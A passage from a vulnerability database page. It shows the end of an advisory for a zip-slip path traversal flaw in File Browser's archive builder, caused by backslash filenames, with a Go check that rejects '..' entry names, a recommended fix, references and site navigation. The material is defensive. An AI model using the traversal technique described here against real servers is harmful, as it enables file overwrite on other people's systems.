any residual traversal before adding the entry:\nclean := path.Clean(\"/\" + nameInArchive)\nif strings.Contains(nameInArchive, \"..\") || clean != \"/\"+nameInArchive {\n    return nil, fmt.Errorf(\"unsafe archive entry name: %q\", nameInArchive)\n}\n```\n\nAdditionally, implement the \"Secondary Mitigation\" recommended in `GHSA-gxjx-7m74-hcq8` but never shipped: reject or sanitize filenames containing backslashes at creation time in `http/resource.go` (`resourcePostHandler`), so backslash-containing names can never be stored in the first place. Defending only at archive-build time is fragile; defending at both creation and archive-build time closes the class.",
  "id": "GHSA-83xp-526h-j3ww",
  "modified": "2026-07-20T22:16:09Z",
  "published": "2026-07-20T22:16:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-83xp-526h-j3ww"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/commit/8503ba61ff51d48a7313896483d130eb6a5abfe0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/filebrowser/filebrowser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/filebrowser/filebrowser/releases/tag/v2.63.17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-62843 (GCVE-0-2026-62843)

FKIE_CVE-2026-62843

GHSA-83XP-526H-J3WW

Summary

Details

PoC

Impact

Recommended Fix

Tags

Sightings

Nomenclature

Related by attack behaviour